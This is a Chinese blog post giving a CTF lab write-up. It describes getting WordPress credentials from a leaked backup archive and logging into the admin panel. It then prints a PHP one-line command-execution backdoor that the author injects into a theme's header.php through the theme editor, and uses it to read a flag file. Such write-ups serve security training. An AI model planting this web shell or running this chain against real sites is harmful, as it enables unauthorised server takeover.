GKLBB

当你经历了暴风雨,你也就成为了暴风雨

导航

应用安全 --- CTF考点 之 敏感文件泄露 和 编辑器代码注入

通过备份文件泄露拿到网站源码与数据库账号密码,登录 WordPress 后台,利用主题编辑器写入 PHP 一句话命令执行后门,拿到系统命令执行权限,执行系统命令读取大小写特殊命名的kEy4.txt文件,获取 flag。


一、信息收集

  1. 访问站点首页,为 Backnode 静态模板(Silex v2 生成),页面提示 "You need to look for backup files xxx.tar.gz"。

  2. 读取 robots.txt 发现目录:/old/、/test/、/TR2/、/Backnode_files/。

    • /old/ 目录列表含 older.html,读取得到 key1:K37bcdN1(页面标题:key 在哪里?)。

  3. 发现备份文件 html.tar.gz(约 13MB),下载解压得到完整站点源码,关键文件:

    • wordpress/wp-config.php → 数据库用户 Admin,密码 TogieMYSQL12345^^,库名 wordpress。

    • deets.txt → 密码习惯线索 Password 12345。

    • 首页标题/后台名 Web_TR2,与 robots 中的 TR2 对应。

二、突破点

  • 备份泄露 WordPress 凭据 → 用 admin / TogieMYSQL12345^^ 成功登录 /wordpress/wp-login.php 后台。

  • 在后台 外观 → 主题编辑器,选择 Twenty Fifteen 主题的 header.php,在文件开头注入命令执行后门:

<?php
if(isset($_GET["c"])){system($_GET["c"]);exit;}
  • 保存后访问 /wordpress/wp-content/themes/twentyfifteen/header.php?c=<命令> 即可执行任意系统命令。

    • 验证:?c=id → uid=33(www-data) gid=33(www-data)

三、读取 key4

在网站根目录发现目标文件(注意大小写):

ls -la /var/www/html/
-rw-r--r-- 1 root root 44 ... kEy4.txt

读取:

cat /var/www/html/kEy4.txt
key4:flag{f281a078468b29dbcdef31b3cc0d48b2}

四、考点总结

  1. 备份文件泄露:html.tar.gz 泄露完整站点源码与数据库凭据。

  2. 信息泄露:robots.txt、旧版页面(old/older.html)中硬编码 key。

  3. 弱口令 / 凭据复用:deets.txt 与 wp-config.php 密码复用,登录 WordPress 后台。

  4. 命令执行(RCE):通过后台主题编辑器写入后门,system() 执行任意命令读取文件。

  5. 大小写敏感:目标文件名为 kEy4.txt,find -name key4* 会漏掉,需精确 cat /var/www/html/kEy4.txt。

说明:本题其余 key(key1)在 old/older.html;key4 通过命令执行读取完成。本题交付 flag 即可,不涉及越权操作。

posted on 2026-10-21 09:46  GKLBB  阅读(13)  评论(0)    收藏  举报